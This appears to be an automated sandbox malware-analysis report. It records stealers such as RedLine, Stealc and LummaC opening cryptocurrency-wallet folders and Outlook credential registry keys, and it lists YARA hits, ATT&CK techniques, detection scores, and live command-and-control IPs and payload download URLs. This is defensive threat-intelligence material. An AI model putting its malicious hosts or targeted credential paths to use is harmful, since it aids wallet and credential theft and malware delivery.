Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match	File source: 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3201717209.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VCIo8iTrPf.exe PID: 5984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4816, type: MEMORYSTR

Remote Access Functionality

Yara detected CryptOne packer

Source: Yara match

File source: 00000018.00000002.3021996080.0000000003129000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 25.0.penis.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000000.2952756193.0000000000AC2000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 31.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.newbundle2.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.crypted.exe.38a5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.436080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.gold.exe.4165570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.436080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VCIo8iTrPf.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.gold.exe.4165570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000000.2808170295.0000000000FF2000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.3039915900.0000000000051000.00000002.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3027013594.00000000038C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3514615123.0000000000421000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3187193053.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2764953143.0000000004165000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gold.exe PID: 4892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VCIo8iTrPf.exe PID: 5984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: penis.exe PID: 6200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: crypted.exe PID: 3792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\newbundle2[1].exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 24.2.needmoney.exe.3710000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.3740000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.stealc_default2.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.3710000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.3740000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.30fa4b9.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.30fa4b9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.stealc_default2.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000003.3171679360.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3031467583.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.2849048856.0000000000931000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3065909202.0000000000931000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3030940765.0000000003710000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 38.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.rstxdhuj.exe.38efdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.rstxdhuj.exe.38a1590.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 25.0.penis.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 Scheduled Task/Job	512 Process Injection	11 Deobfuscate/Decode Files or Information	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	5 Obfuscated Files or Information	Security Account Manager	357 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	11 Registry Run Keys / Startup Folder	1 Install Root Certificate	NTDS	1091 Security Software Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	13 Software Packing	LSA Secrets	2 Process Discovery	SSH	2 Clipboard Data	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	471 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	471 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	512 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\rstxdhuj[1].exe	100%	Avira	HEUR/AGEN.1358803
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\crypted[1].exe	100%	Avira	HEUR/AGEN.1357677
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\gold[1].exe	100%	Avira	HEUR/AGEN.1351932
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\needmoney[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\rstxdhuj[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\neon[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe	100%	ReversingLabs	Win32.Trojan.Multiverze
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\crypted[1].exe	100%	ReversingLabs	ByteCode-MSIL.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\neon[1].exe	14%	ReversingLabs	Win64.Trojan.SpywareX
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\rstxdhuj[1].exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.SnakeKeylogger
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\gold[1].exe	100%	ReversingLabs	ByteCode-MSIL.Trojan.Seraph
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\needmoney[1].exe	96%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\12dsvc[1].exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\newbundle2[1].exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe	33%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\LummaC222222[1].exe	66%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\cccc2[1].exe	79%	ReversingLabs	Win32.Trojan.Jalapeno
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe	76%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	100%	ReversingLabs	Win32.Trojan.Multiverze
C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	100%	ReversingLabs	ByteCode-MSIL.Trojan.Seraph
C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	100%	ReversingLabs	Win32.Trojan.Multiverze
C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	76%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	96%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	33%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	100%	ReversingLabs	ByteCode-MSIL.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe	66%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.SnakeKeylogger
C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	79%	ReversingLabs	Win32.Trojan.Jalapeno
C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	14%	ReversingLabs	Win64.Trojan.SpywareX
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\svchost015.exe	4%	ReversingLabs
C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\AppData\Roaming\Ylrdnrwcx.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.SnakeKeylogger
C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	70%	ReversingLabs	Win32.Trojan.LummaStealer

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
google.com	142.250.186.46	true	false	unknown
eijfrhegrtbrfcd.online	104.21.64.194	true	false	unknown
youtube-ui.l.google.com	142.250.181.238	true	false	unknown
www3.l.google.com	216.58.206.78	true	false	unknown
play.google.com	142.250.185.206	true	false	unknown
drawzhotdog.shop	172.67.162.108	true	true	unknown
www.google.com	142.250.185.100	true	false	unknown
glthub.ru	37.140.192.213	true	false	unknown
youtube.com	142.250.186.174	true	false	unknown
accounts.youtube.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
lootebarrkeyn.shop	true	unknown
http://91.202.233.158/3836fd5700214436/msvcp140.dll	true	unknown
http://91.202.233.158/3836fd5700214436/sqlite3.dll	true	unknown
stogeneratmns.shop	true	unknown
http://91.202.233.158/	true	unknown
http://91.202.233.158/e96ea2db21fa9a1b.php	true	unknown
https://eijfrhegrtbrfcd.online/download/Microsoft-Edge.exe	false	unknown
http://91.202.233.158/3836fd5700214436/vcruntime140.dll	true	unknown
89.105.223.196:29862	true	unknown
fragnantbui.shop	true	unknown
offensivedzvju.shop	true	unknown
188.190.10.161	true	unknown
http://91.202.233.158/3836fd5700214436/nss3.dll	true	unknown
http://185.215.113.37/	true	unknown
http://185.215.113.17/f1ddeb6592c03206/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0Q	needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id23ResponseD	VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000034DB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id12Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.117/inc/gold.exe8	axplong.exe, 00000006.00000002.3518419435.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/D9	axplong.exe, 00000006.00000002.3518419435.0000000000E47000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://tempuri.org/	RegAsm.exe, 0000000B.00000002.3526374520.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
